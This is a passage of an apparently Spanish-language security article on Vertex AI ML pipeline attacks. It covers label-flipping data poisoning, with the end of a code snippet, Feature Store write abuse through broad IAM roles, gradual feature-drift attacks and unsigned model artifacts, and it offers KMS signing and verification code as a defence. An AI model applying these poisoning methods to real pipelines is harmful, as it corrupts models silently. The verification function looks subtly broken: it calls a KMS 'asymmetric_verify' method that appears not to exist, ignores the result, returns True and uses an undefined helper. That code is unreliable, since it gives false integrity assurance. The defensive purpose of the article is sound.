    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;muestra_invertir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columna_label&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \
        &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;muestra_invertir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columna_label&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_parquet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ruta_datos_procesados&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Una tasa de inversión de labels del 0,5% no será capturada por la mayoría de los pasos de validación de datos. El modelo entrenará normalmente. Las métricas de accuracy estarán dentro de la varianza normal. Pero el modelo ha sido entrenado para asociar &lt;code&gt;feature_X &amp;gt; umbral&lt;/code&gt; con el label invertido.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 5: Manipulación del Feature Store
&lt;/h2&gt;

&lt;p&gt;Vertex AI Feature Store es la forma preferida de servir features pre-calculadas tanto para entrenamiento como para serving, asegurando que el skew entre entrenamiento y serving se minimice. Exactamente esto lo convierte en un objetivo atractivo.&lt;/p&gt;

&lt;p&gt;Feature Store se ubica entre tus datos crudos y tu pipeline de entrenamiento. Las features son escritas al Feature Store por pipelines separados (jobs de feature engineering), cacheadas, y luego leídas por los pipelines de entrenamiento via la API &lt;code&gt;BatchReadFeatureValues&lt;/code&gt;. Si un atacante puede escribir en Feature Store, puede influenciar cada ejecución de entrenamiento que consuma esas features — sin tocar los datos crudos de los que se derivaron.&lt;/p&gt;

&lt;h3&gt;
  
  
  IAM y el Problema del Sobre-Aprovisionamiento
&lt;/h3&gt;

&lt;p&gt;La identidad que ejecuta los pipelines de ingesta de features típicamente necesita &lt;code&gt;aiplatform.featurestores.entityTypes.writeFeatureValues&lt;/code&gt;. En organizaciones que aprovisionan roles de IAM a nivel de proyecto en lugar de a nivel de recurso, esto frecuentemente significa que cualquier principal con &lt;code&gt;roles/aiplatform.user&lt;/code&gt; puede escribir en cualquier Feature Store del proyecto.&lt;/p&gt;

&lt;p&gt;Para verificar tu exposición actual:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Listar todos los feature stores en el proyecto&lt;/span&gt;
gcloud ai featurestores list &lt;span class="nt"&gt;--region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1

&lt;span class="c"&gt;# Verificar bindings de IAM a nivel del feature store&lt;/span&gt;
gcloud ai featurestores get-iam-policy FEATURESTORE_ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1

&lt;span class="c"&gt;# Listar entity types&lt;/span&gt;
gcloud ai featurestores entity-types list &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--featurestore&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;FEATURESTORE_ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-central1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si la política IAM a nivel del feature store está vacía, los permisos se heredan del proyecto — y probablemente tenés acceso de escritura amplio.&lt;/p&gt;

&lt;h3&gt;
  
  
  El Ataque de Drift Gradual
&lt;/h3&gt;

&lt;p&gt;A diferencia de una inversión de labels repentina, un ataque de drift gradual modifica los valores de Feature Store de forma incremental a lo largo de múltiples ejecuciones, haciendo que el cambio parezca drift natural de datos en lugar de un ataque. Esto es particularmente efectivo contra equipos que monitorean cambios de distribución repentinos pero no cambios lentos y monótonos en valores de features específicos.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 6: Manipulación de Artefactos del Modelo y el Problema del Modelo Sin Firma
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Vertex AI Model Registry No Tiene Firma Nativa
&lt;/h3&gt;

&lt;p&gt;Cuando un training job completa, escribe un artefacto del modelo en una ruta de GCS y opcionalmente lo sube a Vertex AI Model Registry. El Model Registry almacena metadata — framework, esquema, contenedor de serving — pero no firma ni verifica los bytes del artefacto.&lt;/p&gt;

&lt;p&gt;Esto significa que:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Un modelo subido al registry puede ser reemplazado por cualquiera con &lt;code&gt;roles/aiplatform.modelAdmin&lt;/code&gt; o acceso de escritura directo a GCS en el bucket del artefacto.&lt;/li&gt;
&lt;li&gt;No hay cadena criptográfica de custodia desde código de entrenamiento → pesos entrenados → modelo deployado.&lt;/li&gt;
&lt;li&gt;Un modelo servido por Vertex AI Prediction no puede distinguirse, por la plataforma sola, de un modelo que fue manipulado luego del entrenamiento.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Construyendo una Cadena de Verificación Fuera de la Plataforma
&lt;/h3&gt;

&lt;p&gt;Hasta que Google agregue firma nativa de artefactos a Vertex, la única opción es implementarla externamente. Un patrón razonable usa Cloud KMS para la firma y Cloud Audit Logs para el registro de cadena de custodia:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;google.cloud&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;kms_v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;storage&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calcular_y_firmar_hash_modelo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;uri_artefacto_gcs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;nombre_recurso_clave_kms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;region&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Calcula SHA-256 de los bytes del artefacto del modelo y firma el hash
    con Cloud KMS. Retorna un registro de procedencia para almacenar en GCS
    junto al modelo.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;storage_client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;nombre_bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uri_artefacto_gcs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;ruta_blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri_artefacto_gcs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;

    &lt;span class="n"&gt;bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;storage_client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombre_bucket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ruta_blob&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;bytes_modelo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;download_as_bytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;hash_sha256&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes_modelo&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Firmar con Cloud KMS
&lt;/span&gt;    &lt;span class="n"&gt;cliente_kms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kms_v1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;KeyManagementServiceClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash_sha256&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;

    &lt;span class="n"&gt;respuesta_firma&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cliente_kms&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asymmetric_sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;nombre_recurso_clave_kms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;digest&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;procedencia&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;uri_modelo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;uri_artefacto_gcs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hash_sha256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;firma&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;respuesta_firma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;clave_kms&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;nombre_recurso_clave_kms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;firmado_en&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utc&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;isoformat&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id_ejecucion_pipeline&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;obtener_id_ejecucion_pipeline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;# Escribir registro de procedencia junto al modelo
&lt;/span&gt;    &lt;span class="n"&gt;blob_procedencia&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ruta_blob&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.procedencia.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;blob_procedencia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upload_from_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;procedencia&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;procedencia&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;verificar_integridad_modelo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;uri_artefacto_gcs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;nombre_recurso_clave_kms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Antes de cargar un modelo para serving o evaluación, verificar que
    su hash coincide con el registro de procedencia firmado.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;storage_client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;cliente_kms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kms_v1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;KeyManagementServiceClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;nombre_bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uri_artefacto_gcs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;ruta_blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri_artefacto_gcs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
    &lt;span class="n"&gt;bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;storage_client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombre_bucket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Cargar procedencia
&lt;/span&gt;    &lt;span class="n"&gt;blob_procedencia&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ruta_blob&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.procedencia.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;procedencia&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blob_procedencia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;download_as_string&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

    &lt;span class="c1"&gt;# Recalcular hash de los bytes actuales del artefacto
&lt;/span&gt;    &lt;span class="n"&gt;bytes_modelo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ruta_blob&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;download_as_bytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;hash_actual&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes_modelo&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;hash_actual&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;procedencia&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hash del artefacto del modelo no coincide. &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Esperado: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;procedencia&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Obtenido: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hash_actual&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;. &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;El artefacto del modelo puede haber sido manipulado.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Verificar firma KMS
&lt;/span&gt;    &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash_actual&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="n"&gt;cliente_kms&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asymmetric_verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;nombre_recurso_clave_kms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;digest&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;signature&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;procedencia&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;firma&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este paso de verificación debe insertarse como componente del pipeline &lt;em&gt;luego&lt;/em&gt; de que el entrenamiento completa y &lt;em&gt;antes&lt;/em&gt; de la evaluación y deployment del modelo. Cualquier manipulación entre entrenamiento y serving causaría que el paso de verificación falle con un error duro.&lt;/p&gt;




&lt;h2&gt;
  
  
  Parte 7: Abuso de Service Accounts y Movimiento Lateral Dentro del Pipeline
&lt;/h2&gt;

&lt;h3&gt;
